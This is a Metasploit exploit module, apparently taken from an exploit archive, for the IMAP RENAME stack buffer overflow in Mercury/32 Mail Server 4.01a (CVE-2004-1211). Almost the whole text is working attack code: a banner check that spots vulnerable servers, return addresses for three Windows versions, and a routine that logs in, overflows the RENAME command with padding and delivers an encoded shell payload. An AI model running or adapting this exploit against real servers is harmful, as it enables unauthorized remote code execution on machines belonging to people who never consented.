Mercury/32 Mail Server 4.01a – IMAP RENAME Buffer Overflow (Metasploit)
## # $Id: mercury_rename.rb 9262 2010-05-09 17:45:00Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::Imap def initialize(info = {}) super(update_info(info, 'Name' => 'Mercury/32 v4.01a IMAP RENAME Buffer Overflow', 'Description' => %q{ This module exploits a stack buffer overflow vulnerability in the Mercury/32 v.4.01a IMAP service. }, 'Author' => [ 'MC' ], 'License' => MSF_LICENSE, 'Version' => '$Revision: 9262 $', 'References' => [ [ 'CVE', '2004-1211'], [ 'OSVDB', '12508'], [ 'BID', '11775'], [ 'NSS', '15867'], ], 'Privileged' => true, 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Payload' => { 'Space' => 500, 'BadChars' => "\x00\x0a\x0d\x20", 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets' => [ ['Windows 2000 SP4 English', { 'Ret' => 0x7846107b }], ['Windows XP Pro SP0 English', { 'Ret' => 0x77dc0df0 }], ['Windows XP Pro SP1 English', { 'Ret' => 0x77e53877 }], ], 'DisclosureDate' => 'Nov 29 2004')) end def check connect resp = sock.get_once disconnect if (resp =~ /Mercury\/32 v4\.01a/) return Exploit::CheckCode::Vulnerable end return Exploit::CheckCode::Safe end def exploit connect_login sploit = "a001 RENAME " + rand_text_alpha_upper(260) sploit << [target.ret].pack('V') + payload.encoded sock.put(sploit) handler disconnect end end |